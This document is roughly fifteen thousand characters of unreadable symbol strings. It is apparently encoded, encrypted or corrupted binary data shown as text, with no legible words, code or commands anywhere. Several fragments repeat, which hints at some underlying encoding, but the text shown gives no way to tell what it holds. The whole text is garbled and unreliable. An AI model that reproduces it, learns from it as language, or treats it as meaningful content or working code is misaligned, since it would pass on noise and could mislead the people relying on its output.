'`kUf\,a 60$0%r Vu=!%D1bDQ.d'9Q'Y!\0mhz`:	@5%r Q<E:z^b m7)RED'2M:Q{cY6@5%r Q '91>_(ZPZ8%"
Z(0Z[pq4A55wUVz1
">1DQB[JE'#taeJr7W
9@Pvv0>ODPpS'VRJD 1]U!\_t0043I&"BQe46!I\Kh4$p"Z 0[ d04(@?1NVu3%I_,
VH68=
QQ| 3,<~Ye40;7)*Ohfr;1";UP.<$^phZ!5
 <((t_Zs64
&RSe':T(u]x0.2@%#~|P	f-U*,"sa-	R+0)rqaw:3!n{V7:X'^Y59(T.Zegz0$B66>	hfs=)E 	AQp?B	$|]);,3 mw%62"\yaw:*D%Wxq`67%pd
1S(4Yu^($0&&sPPem:T(v^V Q?'Pl[	-V	(P5[p/Q
&Wkj	.(%"	4fd'?B	%V|^';<U(qX-2	:,2rVbz#:1DD4tnKV.)-%Vc
g-)8Umhqs'R+0)rqaw:3."1,@BP-R3-Q#`p^1
'0!Z_t77W
59
hj
36m{)(	[
RsG*M ,Xvbv{P4	?%vqU(/Wqb6%tG?)73*qz`v7$3H#ROkew3%I_;\v;)%#[p`Y>)8+*Zv{54S9_Vz/#92A8jBP:?'^`` 6'5\egz	#&&Whe&91!D(^V7)%VYZ)8+*Zv{P4?1NVz
)@$"SGx9,S[Y"cZV*+U~\uch$6K{zd11rEk'Z
oJ^:2P=;71]q{h$
){za !%V8tP^kq 
C$UtF R*7;*[\|/+<)Tbf3:T8tL^h`9S`xH"	(X(Ye$7R*VP 4$3%I8r^P`[*C=
RED'*M:Q{cY6@r Vu3%I_;
VH67	UdA>#w\qps1;$?9Phu/"*!EmV8<#-SoJ S=(mqw`3P4 SsPQ\(l/T8+nAb)#7>J{ >W4>{a-+4	?>hvwl/U"1,@h`[7)$gU g1S(4q\p+$4 %LPu9"/z{)`[8&Jp`Y>('3hYJ5Q
?"BQu!3ix4d(%!BJW^8T1\jc$0+
55whj+d*!EmPm'["UtA'6_9+0Zc*	&bqzd D%Wxq`68=RJW^\#.ZX54(@6Mkj	a3%I~Gb)#7>JOy :vbv{54S9_Vz/#92A_;P{a':X^X'!T)8wbf*S&wKQ8:Tv]k-3=)}q2',\ c-0%RPQg9%E u[b)#7>J{ >W^<\3.a_J/
>,-r~[ l/U"1,ODVH68=RJW^<\3-hXJs'RH6sOVj3.;	HV(>"UtA'6_9UmqX{P4?1NVz
3%IurFb)#7)$g	.(3*a Z5 H#SHVXwl:9D+<K|q$8PBV&$
*	;;{\V;5Mk$TD8vSm3C){YU&#S-38/5aj|9&4>S>PQ3@$"T k,8=T%g,37;.[[s(6$
5vqU(6(jKhT"! +oh!9-V8X3qw`*QRWxza !%"K|q$?)%#=Q'^H VV7#*qv$+4E&vc, >@!"!Sxh-?C=$
UfZ7,\qU(5$_
"1_xz.9>9(jEk*3.
xGR
;7{UY	;(C9RSq$?!?V8<#+#Oy ,38/.[ g$QWER KxH, %"SxS/3=Q'^H V8T4qv$$WER Kj "E8ui]x<C>pdH*:'#.[00+,A52-_ya-9>"^+UVR<$/_Yx ,)+*aeAt2	:,0-rk .951\HQ#)_*iYx (X<\qsz$0D&>Nhu;)-yYSm3Vi]x ,38+sqw(5$_
'5@ja(3)!ujPdZ($>RA| 3,3>
Yek, 4@&*B~fv'1E(Uc>B!$U^g2	9	0[cz14ReH052urb'7V"~AJS7/*[X(0;(Okj.TI;YQ	-
UZ!6_:(3/Z_t70/ &"-_Q_d>:(jKVT"! +iYx )*8'4wE2:	0vsqc( &_rG{8!	Oy _4>{ehr6(@6M{z8!&j[y ?#Oy ,\6\u|, 4@&*B~fvd>2*Tv;)%!+
tH"7<[eE-V;,0-rqc/$91 0	Qp>C!$dX'Z)-bu{3;,)AP[d &.1yq?)%!%UdZ".(3
{j:,9TVz-28@Hh'-%+ iy 8T,\u^56
$6AWa$? U"*zv;)%!"
^f	:'3)Yj74E&H{z0 %"TXk/3#`|J! P4>{cY	;,)AP[?!?Q./4_ g%(\'wbjxv 4
)H}Es 7%"T[Q.
/_Yx )7/*qqV4P("%vc, 7%"r^V.
"ZB -SM7<qv$+$7R 	hj	a(%"_ TH~a'Z
{`H'*?Q{cY	2
PSH0 %"|q$?)%(%"pdK!=!)8<bfA:	0vsqc/91ETDP*<(='{UB
(3
{a`:;+?2UVev>;TE^ZQ.0-3NVdGeZ*73 ajx-''  Su/./2E;uv;)%!"
^f	:'3)Yj74E&Hqj0 %"TXk/3#`|J! P4>{cY	;,)AP[>@Th.S?B`|H!f.	:'+*[KYt2	:,0-rqe	-916.1yq?)%'!	%
gU	g!\'5rH]:,0-rQ_d>:(zEhrm<(='~Z g-)-[_d97>,-rqc(::8Kv;)%!Xi]x *73w[_$ Svc, >@!"!Sxh-?C=$
U!*3/[KU3+>,-rqjg>" _YV<	_J"p^E,Q{cY	4(S_x ra U6+<W|q*/3.{sU
"9, !qqs$ '&"_{z	8.&/yYV<	_J%`d^ :	9/lQ$$ @66PQ .*X%Wxq?)?%oA,3>
a t90'&"BQe4:,@$"Sxq8<(=P%UU	1	7,2h\x/7'I&"Su/./2EnKW3
3@9,m|g
1(T.Zeg$, ;2Ohz?:>"8+~Hh;5592kpY1\3*Zjp0;4&5vVVq =(2!"!Sxq8
9	'BA| 3,37Q{UY	;,)AP[9:1;K|q$?) !_*i^_'V(0Z[p05;(@9& QPu.(%1yq?)C"|]1V(<tfs1;$$0*vc, 7%8t~Hh(%oE\3S-3>
{c^:;4Ar_xz;>=1(r^Q:Z/3=Q'^H V87?]aU-S 9mcg	10=*K|q$?)%!%UdZ".(3
{c^);(&""Oh,%Y%Wxq?)%(%"pdK!="(	6[Kh70
&%v_xz;>=1(~hV-3%oJ^g2('/Zud%6 52UQ_z *!;+KPS'V|X"5)<Tvaex0;+S.TQ_3!6nTQq<'^	{w
;0[_+0$
Bk +815(~}` S?'%nHf
8$!qf$P$7SPVu'T(/Sv;)%!+Vx^Q4>{c^z2	:,0*Ahje D;+~AQqT"! +`| 3,*73a`36QR59AP
;(52X%Wxq8BQ
U]	1	7,2h\`v7$3 ,95vqU( 78v^{ 0(!${Q,3>
{jx/0+0	yPj/. 1	;rKPp-$/_Yx 7.YHA:,0*Rkj8*%;uvJP 7U"! +iYx )
'7?Z[p7$& BVtz8 :/_B}4d(%!+oxK%?Q{cY	22V;,0-rQ_d>:(bZP)_*i^,38;wZ_|s54_&)TVw;:>:;i]xS#Oy ,\6\u|, 4@&*B~fvd>2*Tv;)%!+
tH"7<[eE-V;,0-rqc/$9XV8V#^H'.	:]Ps[t0P('RSu- T&_+?SBv;)%!+i^K1WU!iuv7P 7RTVtz>!6tny 8&{`"<;T5Ye17>,-rqc(91;yq?)%!+p`]". 'wbjxv $=7_c+6
>)7y\~*8&	Oy ,3>/[_d+5>,-rqc/>:>>(\Ehp3Wi]x ,37+*\zd:6
$1&"^Q d;T> nGVm!^G-(	6[Kh6$
1_xzd X%Wxq?)%'%ot@#S-3>
^c2:Vj	!*!*v^}4d(%!Xi]x 9W/vYe6$66Se;8(%"qB{'-%+`|"1,-\uZ37V[)*Oha(@$"SxqB:
 g%:{UY	2:Vj	!*%"_ TH~a<(='{UY'Qm[jd/7&~fw5%2"5v~wjs)25:A{G1].[ Z/7RAyaw=)8uUh.8<#&lA| 3,3>/[_d+5>,-rqc/>:>>(\Ehp3Wi]x ,3<3vYu^97S6AWa$=2W:)0jt{!7'pVH!.*	*5baps;@$52|f*.<qU`/32#.QZ1('<Yud9 4
)H~[
:,U>nXV 'hK!fS\/0uXA*7>,-rqc().9V8rKk?-$/_Yx ,]	6Zug,$I%)WSj 3*v]y ?"! +iYx "qv$$
%SHPu:;2!"!Sxq?),8='`F:%W*7+ssqV(7_&)Pk_;8*.<q\y'-%+iYx 95V7+3qut:7 E$""USe;8)@D 	EPm<#[1;<
q|c]	2:6Tke0c'7%"Tv;)%!`` 9W*'5[ gt2	:,9vvqU(9&8ujBPq`<89%{UY'%(45qq`.7 'I&&PPz8(52X%Wxq8BQ
U]	1	7,2h\`v7$3 ,95vqU( 78v^{ 0(!${Q,3>
{a`:;+?2SVu+$ @Dn^Q-?,A!(	QUe) !93 qt`6&&V~[d:1:;\k 7)_*iYx )\+*aj`/'V9*BQe;29&_8tPTk?(px^ -Q4>{cY	04
61_ba?:U:8j^e9*&V[#S-9, !qqs$ '&"_{q3*%1(zBh*3<.h 9V*<-b\s0 4
61H}K8.>(nXSl,8!${Y,3>
{a`s5$

#5s@Ve-54vn`6/3 Txb!:U-\ut*6$3%SVyf0 1(yU{ /3.{sU
"9, !ruY$0' vs{q3*%1(yU{ /3.{sU
"(7.bqsz+4	6vc, 7%"\]S,-3="dF
S:'3)Yj7<&Wyq($*.!"/yU{ /3.{sU
"9, !qqs$ '&"BQe43351+<K|q*/3.{sU
"9, !qqs$ '&"_{u/9(%"(mU+3.XksE!Q4>!qqs$ '&"_{q3*%1(yU{ /3.{sU	
)80!haps70 vs{q3*%1(yU{ /3.{sU
"9, !qqs$ 4
61_ba=,W9[}4d(/3.{sU
"9, !qqs$ '&"_{q37@$%Wxq?)%!

A'R qut:7 E$"-vc, 7%"T_Pp?'!{`B'59('<qq`17R-_WEs*%1(yU{ /3.{sU
"9, !qqs$ '&&*Uyqf*"@V1zGV,-!_*{sU
"9, !qqs$ '&"_{q3*%1(yU{ /3.
'``^!^Q!has* 0=;"vc,3*%1(yU{ /3.{sU
"9, !qqs$ '56>Bhe/9(!9tTGV 3i]U
"9, !qqs$ '&"_{q3*%1(yU{ /3.{`B'5'34`asz 4B vs{q3*%1(yU{ /3.{sU
"9, !qqs$$0Svq[3*%1(yU{ /3.{sU
"9, !qqs$ '&"_xu/d91A+LV{d/
SpF&-)X?bet0Q0
6S Ohdz..:+[]x*&RA| 3,3>
{cY(Q_6wMQ70*"@(+y[~**%RA| 3,3>
{j
'&"_{q3*%1(yU{ /3.{sU
;,3)bet(0$G+0)_{q3*%1(yU{ /3.{sU
"9, !qqs$+("Mba:03E;3rg{8,05W{QG	1)*t[V$ #*LQu;"9!% (/OU{*#,7!$pdF!:.<(6qth %06:[P^;d(%9 	EPm<#
{s["73*ZaY6 vs{q3*%1(yU{ /3.{sU
"9, !qqs$ 456 S{vs396tmv;/3.{sU
"9, !qqs$ '&"_{qm*!&tm|q*/3.{sU
"9, !qqs$ '&"_{q3*%1u~A{ `Z/3%$TJ<2[uJ5$3&1_{[43)!_;B~*7,
/QsU
"9, !qqs$ '&"_{q3*%1(T_y 3VVK"1
;,3+[qE$+("-{u' T%;v]P:3C)lA| ="9, !qqs$ '&"_{q3*%1(yU{ -	Vi]x ,37Q{[s$ '&"_{q3*%1(yU{ '6k`]%;>Qqqs$ '&"_{q3*%1(yU{ /3.'ok]	9;<#+\x30$3%&O~q=,W9[y'<'kp^f;,(q`u 6
/  vsqc( 1:;~@}4d(%!+o|Z f6:\#([t0	>,-rqc()."  uFb-R<(%T{Vf !^0!s[p_>&"%Mxz<:*K|q$?)%!+"
ZB!6	:(vbe$0'&.HQKs9&_8t_]y?_*iYx ,:(/0Zzd76+?2PQ\	<5.1yq?)%!+UK%,-Yj`/60$SSHs).)(K|q$?)%!+iYY"1
9-Y$0'%Mke? TtP^Q:3QQ[#S-3>
{cY	04S>	Pev.4W@1yYS9'-%+iYx S(3 !qqs$ '&"_{q3*%1(yU{ /3=%oEU"#:Tjdx&
?9$~_xKw?!6mGx:,	Z$`pA!f1
;,(5qq{0 4S>	Pev.(5D*zec,54&"{QG"R(X-baU* '#"SSj85+?Sx:`
>7[	Oy
"9, !qqs$ '&"_{q3*%1(yUS,75kp_'g)(4)ruh4 'R Kyf0391;z^kq<-3=%oEB#S-3>
{c^z2	:,0-rk\	8:1X%Wxq8Z"! +i^K1WU!b_t07Q3G+0)rqjs V.1yq?.X^'-!#)/5aj|9 4:$ldt0:.;\Vy'-%QU]1 %*XntA-7'/75vx "TEt~Yx:?,6}sYe!6%^3$rs;RV?2"Bhe;8:U!*SUW4d(%!
{F9-T*ac,%_!;PmeK'. 1	 HV 0*3.
	pbe1:\/>Zt06Q "\~q?;W2?4wjPxp6V`|H	eS9,3 mw%R Kj 	< T%9Sv;)%#=
Q f5*8/vbu{,%_!;PmeK'. 1	8+~Hh0-$/QsU
"9, ![V30$($"^gwz 5 8tPZQ-3kp9, !qqs$ '&"Rkj8*%:7 YPp0*$*lw[="*((2h\|/0&(69Bhj;)T>,q7)	-%UdZ".(3 !qqs$ '&"_{u< T%(*ng`*dW/ `[ V*73Yut:7Q0@$""	Vu`)X(rKh)_*{sU
"9, !qqs$Q 
52Qaz,%A<(,WUx
*$Z``v"%]7vsqV16QD%H}K= & <K|q*/3.{sU
"9(/.[ g$ <5!Lda
b*%"8/QqS7B	%V|^']X6wzg-76Tke0c'7(yU{ /3.{pX-
9,+,[vUq
/F&"Sk[s T&_0tPZQ-3s>:;;!a\x/4G+0)_{q3*%1(|q*/3.{sU":	*8P1\zY,%_!;PmeK'91+wByT"! {sU
"9, !qqp5_
& AVq$=T:	;uH]ka79QEU"S>
q|c]$ '&"_{q3*%2 ;~Yh/!$V`^!:2"(<[u95;4 Sr{ud!6 	^P-T/75$dGR
 83wZjs67P &-vc,3*%1(yU{ /3-otY*	9/0Z\`/679)*Ohf,3!&[EP&	Oy
"9, !qqs$ '5Ahe>%9wzbgr,C=${VV
%9,3tsc2:,2Sk[s9.&_YV*?T"! {sU
"9, !qqp/1$
@ vs{q3*%1(z{B9QUY:" <#b_44R%'if4 @^xrd/3RAYB
(3 !qqs$ '&"_{u" &8t_]xm22A!4AV9(<#.[Ks(0
>,_{q3*%1(yU{ /3.
{F91W7 )rzk0 4"-vc,3*%1(yU{ /3-
JD f6	:(;1sfA
'&"_{q3*%1(nGQqS-3=}f+((`aYt2	&"_{q3*.@;@Hhd(/3.{sU
"9, !bu^/ HSASjd36;ry %%%QwUf%(,vqu44R5*Kha
$,U+jDV:a(!Q$x9))])tfw3 _
6RHQz)X%WxTd(%($Z^1
6wE40&~_{Us3!1*vJP 
VR%
dKZ	=;U~bu^q$(69Bbe""(iv;[<V$kpGR
 <<b[Q$640@&Sba'#U>_+?zDP-R?^"|\:.	(	6[KYtRH& QPu3:T&zZhXB{\
-
(<[ut)54S?2%OxHwl.9D%W
VH08lED'2M '3-hYZ57P7H#RSbX;d9"E"t\BP)#7>Jp`Y8!\/uZx( _@5%r Vu1!6_8rZQq[*C=
RJW^<\3-hXE50+/[?)AbUs3!n{V7:X'^Y59(T.Zegz0$B66>	hfr  1D1TGQS/8=T%g"*(73qu+643I%_V_'1%V+u~hV,
[Y'oE'2'1bf,54456r_P_ 92A,/z k,R<$_B
"V70!\z^47W6Shew36;	X{89kQ[=!	(P5[p/Q
&Wkj	.(%"'5qc,71	"
c\<((hXJ36$A"Wj831;j^P*?'^o|])*70!\_t0043I%M{q+$ U>_Yjr33A=
|])*70(`aYl%_!;PmeK'>!6tnxrdU,	{[	.W(3vbv{7Q056{uv<1%V+ujQ6%p`B!fW'5\egzQWER KxK=,@$(yU{8-5.
	pbe1:\3s[ug-7VI%SwQ')8tPD{ 0<'`^ Q4>*a Z5 /[;9*lQe4l/TITDP)`[C-Q'oG
9'7*haV4P("%_{X0 *yYjr33A=` 6(;Qrp-7P %*Tk +"*%;@^kp<3ViB^f9,(mmu90$	57@Pv4"U2_ Gb)#B9o|>(0m|c]{0$7[?&*MQzd*."ZmVW3-o^-)X)Z|s+<)Tbd4=*D*nFQV-3=}f\'5` Z57P772-x ;":T6 HV 7U8=$p|E-)8,Yut:77Phg6)U> ]PpS,A_ksG
8 0\uch2	H&bu/! .&_(jQZ79U"{pGR
 7/>Zt06Q 
ke;e92A(/qG{ <(-Q#kUYe!6%^3$r|;6%_S"HP['0(2H+DV 7U8=$p|E-)8,Yut:77Phg6)U> APq0kYU=)9U~t`(V;?)SbX;$2^zW6(=#pcU!9%*;P<[eJ%7$ 

ke;e92A(/qG{ <(-Q#kUYe!6%^3$r|;6%_69Bxs$3.+PP,79'otAf,)rt R(%8"BQe;2 !6?\Vy?*%R
g1 vbv*V;,2Pj33511TGQS/8=T%g'5R,#3ae/;('Qkj8*.*n^b76&Vi]x":	7/<bjc,%_!;PmeK'. 1	 HV 0-#Vi]x ;,3-a[hQ_RVq$?;W2?4wjPxp6V$|	eS9,3 mw%R Kj ;"9T+wA{ 35V5~A\ g%(\#.[-0%'if4@Tk.<#kYU&#S-3>
[V30$($"^gwz 5 8tPZQ-3kp,3>
a t90'9S*Mhuzg @,,mJ{);,7=
lH1"('?[ ds %A|f:(28(r^k'T"! +iYxf%*< /nd`7 Shu
 3>v]k<(>d>;;!a\x/4G+0)rqc(:T6;y[asm))3^2R]U	1<;T<bj`5$ 	Syq'&T[/[B}:
9	'BA| 3,3>,aj|/ ,<;Q-~d=,1;qFb-5!`xH2	:]0YfZrG&&Ahe&,@$"SxqB:U|E:T9!ru`*7S
59|Su- T&_*\XQ3Q(	Ap[ 95{UY	;V>,-rqa?:@DTHV
		Oy ,*8/)ZKs*+(&RVq!:1A1vJPm
?(!RJD 1]U!\_t0043I%%bqz" ."t{)'-%+`V]"
;,36\ud7'V%&Q~fv99>" _ByT"! +iYx!,-Y dv ' KVe$*"@;~XS 3(=$kY,3>
be|,6'?&OVu/"2]8@hd
,	[
"UtA'6:(!rK,+<)Tbfs?;W2?4wjPxp6V`|^	eSI:\/*Zud)0$0%)VxK(!)D-/j k,R<#[{D 1]UmrHA:,9vvqU( 1&  Ux9#B9o|= Q4>{j:56>Bha8:T(jPT"! + odA f6(3
be|,6'&wO}Es 1&  U{)#7>Ji]x , '3-hXJ36$A"Wj83>>^8+	BV Q?'Pl\>W9(X3a J3QI%SByu! T).?[b mS<4[/QsU
"9, !qqs$ '&" Vu3!n{V7:X
Z^f\!Z_t77W
6>^k ze!+~AVZ,BVA{U="	*8P1\zY,%_!;PmeK'. 1	8tP->#NAQ	-!(7,Y d(#Qb[>U&zS9UdK
Z9'+0\{P4?vsqc(3%I_,|q$?)63VQoxA W(3
hz|)7
%rvq[3*%1(yU{ /8!{	-*!('-bz|0;(59Wxtz7W>:6?\HQ,?)kVVW:{[s$ '&"_{q3*!*^+vSm/75kB
(3 !qqs$ '&"_{q3*%2;/P_~-6V`|^:9'7*qf9Q4$2{u!TErFS6#-"oX'6qzFzV;&"_{q3*%1(yU{ /3.{pB=< >sap.'#PPz835.1y{ /3.{sU
"9, !qqs$ $ 5.U~\-(52-(yK~-89kQ\#S-9, !qqs$ '&"_{q3*%1(zBh*<*.kp_:"<;.Zzd/0 vs{q3*%1(yU{ /3.p| ="9, !qqs$ '&)vvqU( 1*^+vSm/8!QpcA!Q{cY	47SMQv!6mUbB9o|	.(3
{c^((#A~\<.&(UV'-%.{sU
"9, !qqs$ $ 5.K{q9*!!taGQ/7>%
kG .'5\eg$0$ vsqc( 1!taGQp
'Q{Y,3>|c]	2
6sRVu/"2?_B{'-%+i^_!g*	;Q1w Y{ S
5sTPu 91E_wK\V1A_kAV(qsKF32V;,0-rqc/?/>-+nAhe=AV9(<"o ^'(56Jhe3351;Hh*a79o e(+5o-5 72sRSu>T&.1yq?) !_*iY
g-1\v*V;,6*Uyu/. T&_*jYk*?,6`[ V8T4sjA:56WPK=3!:-<
V
7:"
^Y'_=; 1rap)4& Shu/!9@(v^P,7)'o\ "M9{UY	4
$" TPjd59wzbgr,C!$~[-
:^Q6sjA:,0-Shu
 3>nXV
-3=}f\'5` x+7Q372-vc, 7%;v]P:
68=RJ!U83vYv;+(@
6>Tba'=U:;qFVm)%#{pH!f*, ,vXkq[?)Okew5!6nH})#C-	$R
:*M (+?h[{t2	:,0-rxz=.>	+nH{d,7=
lA"-V&('/Zud9 G+0)rqc(Tm]x8S<'_ksY* ;*\u|, 4@6>Bj	8 (K|q$?)%!+$^H']7stqs(0 6H{vs3916 _YS#Vi]U
"9, !qqs$ '&"_{q3*!*~^PS#
	pbe1:\/>Zt)6P0""\ya( 1(yU{ /3.{sU
"9, !qqs$ 4&%v_xu=/2E;jXS 3<7&Vt)S;,jgJR7>Qnf^;(8uUP*$3V/{QG	9'7*t[Q-0G+0)rqc( 5"]8@hZ/7Q$oJH 58'5a Z+7+%)PPz8(2!"!Sxq?)<'!$As[V)(mhu^67+0@&)Qum)T> ;v@k.mW,	-o^V)$`aQ$0 6xK
!).*n^~*65V|E.9(	?bekz$KSe&30ui]x:,85	$pd^=*<+$6`q{h
R KVe!*8[{ `-79%p`1 %*XntA-7P 7SNVevd)W@1?[_P.4	Q{U-)85h[Zt$S%SrVjjs$3%I~AP`
-#.{{
fV)(mhux:
/G+0)rqc(7@$"Sxq	7WRJB!:!W,#v]jp/0&RS 	"%tXP8	
_'`]   ~Ye40;7)*Ohfr=>"_tUV.':X`!"9(X3a J3QI%SNk 91E_-(v_~-*5	$pd^*(XuZ_J544&2SP e1&Hh*a'%'`c]  /[X54&)PVu$b3!n{V7:X"d'!)8P*heh36$3 KVem)T"^yGQp,
[Y
`Y>V*,#<\z^07V6Ahu-/>"WKQ3BV'ocU
.:T>(h[{t2	:,0-rSe;2%"	4fd'4*ks"]75be|s
vsqc( 79wzbgr,C.	U"77*[\Y-V;&"_{q3*%1(yU{ /3.{sYe!6%^3$rs9RV?2Sj6W"+uyHxrdL,6V0	|g-="wXwt2	:,0-rqa?:@Dn^Q-?,A!'}dv!"$^7	nqU20$M{w7V@+?yG{ 35V5~A\ *(<
q|c]	2:,2MVes3351;qFb.7!{Y,3>
{a`44{u81 +P'{
U."?Qqqs$ '&"_{q3*%1(yU{ ?B{{
 f-7#vh_c67Q?SsBVe	 >!V;(nGkpB[`FH'9(!t[s(R$ :PZx-)W@-/y[j /7>%
kG .'5\eg327SASjd3~Gb*,6V0	|g-="t[{{P(66r{q+c)!E^K\P*0 #-o|D 91;<#aeV/ +?&*MQzd*."ZmVW3-o^=!\_t0043I&M{q$;1E_*jTgm706%|\< /h[{t2	&"_{q3*%1(yU{ /3.dX"[9#0b[s(7$ 59Q}Es*%1(yU{ /3.{sU
"9,#6b[U(R$ :PZx.)W@1/yJyd(/3.{sU
"9, !qqs$ '&"_{q391> ?y[{,/7ok
-!/5Ye|10
".[{[
3/19wzbgr,C.	U="9!rKs6 7Phg6)U1+wF?*.kQ	9V?#[_dq _?vc,3*%1(yU{ /3.{sU
"9(+sq`%&_$9'5VQv:;51W(jEk0	/QsU
"9, !qqs$ '&"_{q3*%1(nXSl/.Ykp] 95 <,!Z )6$
vVQ;;%9(Uxm22A!4AVE=9,U!rK{0 #Wxtz7W>:6?\E:0-
*{U
= T*]zc$@ 1Nkfw=,@$(yU{ /3.{sU
"9, !qqs(R$ :PZx.)W@-K|q$?)%!+'ok]	Z7$^/oKVs1;$%Pvba'#9U>[Bv;)%!+iYYe!6%^3$rs:RV?2Vg13>:(WU`/32#.
Q`TZ2&)([v{-0R&$>rfg/*"=(u`/%03.
QUYe!6%^3$rs9RV"H}Es 7%"T^P"! +iYx (^#m`!P'	%Pv_ba:6V&"3vg{ ;4%1kpU	-W(^#m`!P'	%PvMx 37#!2iUx:`,6V0	|g-="sX40R#%OxH0 %"Sxh	.xK>U/wE2:,9vvqU( 7;/_]c 35V5~A\ &(< has-7;0-Vya9)1;	EV?,6V0	|g-="saY$1V;,0-rqc(?9!91(~hV-5.
	pbe1:\ ?r3V;,0-rqc/$9;qFb-	.	lU9%]46qzA:,0-rqad>";y{8!	Oy ,3>
be|,6'?)Pk_;8*.;j]b+3:
dA!-)8/6Z_Qz0$56>KQu?9!;<K{?(!oZ"W\3sZugz,6S2VQ_ze!8tAPpU/
&TRYK*M:{UY	2:,2KSev8*"@,K|q$?)%!+`V]"
;,36\ud7'V%&Q~fv99>" _By8T"! +iYx ,88)qa`s5;452-rWEs 7%"Sxq8?B{Q
'*M:{UY	2:,0-rh_z-916 _YS#-	%AsY"f5S9+Qmqq`q4A52-vqU( 7%"Sxq	7WBJ"W<34bjY6&!xH0 %"Sxq?)9`c]	V*8Q6wE2:,0-rqc(?!_mVR<$/_Yx ,3>
be|,6'?"QXwl.9D+<K|q$?)%!+iYx	4!has:V;,0-rqc( >@!"!Sxq?)%!
ZD
 ^'(!a J+7P+I&1V~['1E-/[[b*7T"! +iYx ,:(6Z_g$0'&*Mhfsm.2H.,}v;)%!+iYx9Z*8',YqU(5;42PQK?T&Z({ Q?'PkYU&#S-3>
{cY	2
 5!SV_'1%1UP-3/_Yx ,3>
{ed)5$^%>hvwl2E@Ab m6"c	.(3
{cY	2:56>Bhcs 7%"Sxq?)<'!$As\1 3Z_E:/)LPz#91>8@XS	
"UtA'6;<U(hqs'R vsqc( 7%"|q$?)%!+i^^f9,~t`:
G+0)rqc( 7V%Wxq?)%!
ZD
 ^<\3.a_J/
G+0)rqc( >@;@HhT"! +iYx 
)]	0qqQ{$
B?>QbY- I.,ODk)`,	Z"A g!
)].Zu|,;,
$"Sk[s9>:uq]y?,
^ = Q4>{cY	;V>,-rqc/m'7%"Sxh	.xK>*X?Zf{_	2NP\e:A\h a<Zk W*;P%q\tr;,E7"hqv.9E,/ k,R<$^Q'^H:%W*7+st\h+6+0 SNk 91E_-(v_~-R?^"{UBg)
'7?Z[p.4
555VbX;d9>_8r^k?'^kVJ'5<![`v6$3I%R"Hhz;,5,mS<BQ	RwE!R:U/wE '&"_{q3*%1(yU{8-3)$`p&(^#m`!P'	%PvH{q9*%9wzbgr,C.	U
 S:]0ae`.54%-Hvc,3*%1(yU{ /3.{sU
"9(7,Yu
$5+4)Ohe$:1 ~KQ:3>A-1	`P	g":^Q6wE '&"_{q3*%1(yU{	7WRED'5R('?bewh$,	#r Sev#>!TEhe'%'`cU'9%84rdw4(A&Vb[
c'7%"Sxh	.{W^<\3?h[{t2	:,0*vc, 78tPD{ [*C=	UJ^>*X?Zf{/?vc,3*%1(yU{ /3-QUYe!6%^3$r`v7$375vx ra U6+?SUW4d(/3.{sU
"9, !qqs$ 46vQj8  (*vtf'03.}hadS7<[eE60;(`aw152tXk?89`xU"!,5qup,6P(@6"-_ba6V&<*SUca&/7-&'oJ^g!7;!qv$P&-vc,3*%1(yU{ /3.{sU":	:(3/tf.;4"!Hycs*%1(yU{ /3.{sU
"9,#*a Z5 /H5APa">^8+	BVd<3ZQEVT)8wbf 66USe;8;%9X;XVe>%
kG *'5\egz0$ sU~\<.&.tjDkp<'ZQ
V|_:-W)P6\qU3P,)AP[9:1;K\b),7)SJD2*5bfE57P$r_bu/! .&_(zXP
_"D!-, (qz`v7$3I&Vq!:1A1ab889Qp` 6_\7/Ze^s+<)Tba 3D1_Pp6&Vi]U
"9, !qqs$ $I+0)rqc/$9.+ cfr61	kVV
S_9,5Z t(
52%H{z0 %"SYh.8<#.X{`Y=SM(X.bwh36$3%'if4,/\Vy'-%+i^^f9,~a\{5	_k ;< U=VOJb*78=$p|E-)8,Yut:75*Khd0:9;\Vy`63V%Ug	.(3
{j
I&&KQ 3@$(yU{ /3-
ZD
V8<[ud)54 6S.PQ\;)!"-^Q-lA| ="9,#|c]	4(Vbqz?>)D+<K|q$8PBV&$
*	;;{\<ASez!*!6TDP(a8%UA]!Q4>\|5$05&Ayq(c'7%+rZkq ?BV$UdX'Z <+]gdq%?
41Aa\=2\6*PyQs14)Td\ *S$?nXp0$<<
"KSt36>7t@e/<0<8Vh["%9;kth07P):S2VhY+g9W '@~cs$$?BZ*"U|C!f-!_;,a_^	7&_C"$2saw	;4<zkf-9+=SVa&'7
ix 49P"`_2V68\uSr$*5(-+pU5)b ^&E6r|Y/6163<jBar2!VVX! )>Z^B5-OkX	-1:3(jSgq0<5."B".#%7#paXx7):6nv/6287@vc/04*Fe"!3uw' ?97JdY	6U2-PqW35-{?-%]'ne	5R<E6SvWgz$21%7(Pa8(@=3%B[>5W'	uwF $"")dYg9V &0+PS`rV5A!"	hv9&^70keF14( 9*hSg&00*[TBS90&3(-SVe'!$7jeJ &(27He^.#E"4*b`S 6@Z%$l^8 V^4>mYd5<&;$zSd$4
":,g/1%4%v! U'vZg;0#9
6lfw026*jga.353'mFg dV"UwaH|6$,$5SsuY3#:Z+~vc3B!QEe';,u^d57 #=7n|z2#6rV.0'V7nxt%1&:[66S
6wPw77
&<3bfd8(	&Vi]x	)3 [u:0%_?2rWgf9  OKa-
$RTZy d14]uuZ&0C 4*H}e/<5"]8<r\hs,;B1"Bp~<*_ iYx5Q4(<4hr TrAh0+5$`pb&*S")'1ue:4&"*Ikf	.#I\,LX)8?$%6}Fu--*+ovp0 R,':9sPwv622_;*mJg/00%5.}VY!1/!/uxq4S7*`e;2T!6vpP( 7BpV\?*kY`3<4"wWd3124vrk),8U|["U")'1]^B"
sAkX.#(5vd8-14).~wE'91!\	nvwvR,'9kdg6*%v	fS90&3(-nQ"d!$7/,uX^27,7P6qa_<5"2-nugr1%/RpHe6W!+ m^|&< 9PJQw/"%3wrEe/!&*VdYd)T)_\g^
<Rk_/-V"=vZe`1Q$	d'g*%_(rbY| 5Q (96"rSv;:E=;trzP$4A5PmZq'9-%//YgYp% "S pPz56T[2wvq|s1@;C8%=* l^p54
99*J|V 7wTDaB!)$FceT)]P<[wF	5:6sc'   ;0T`(R?_T}^z:97/6kgV066
45S.Y` :0^ Hvc 	4B	`H?-_/ux0
39'~gY3>4vS`(%V+'V|}f#(<i_J*56,%9
kgt6>>% ,jFgV2A=lVwZ-!^s\B$&"7~g^6V+2LySsa207Q'm"%85bgV5
4:l`d5#>,.bvc. 0A9Zy )%8uv^$
27A`\?2V:;\eS.:3+	xgd51$93]zd	5(?>S"Ja^(-.*,*n\gV2A=%vf-'	)[u`; tc$#7>,[}4d(%'9'
U
>	=;T	bj`p6P,&)NP ;.3%I ,
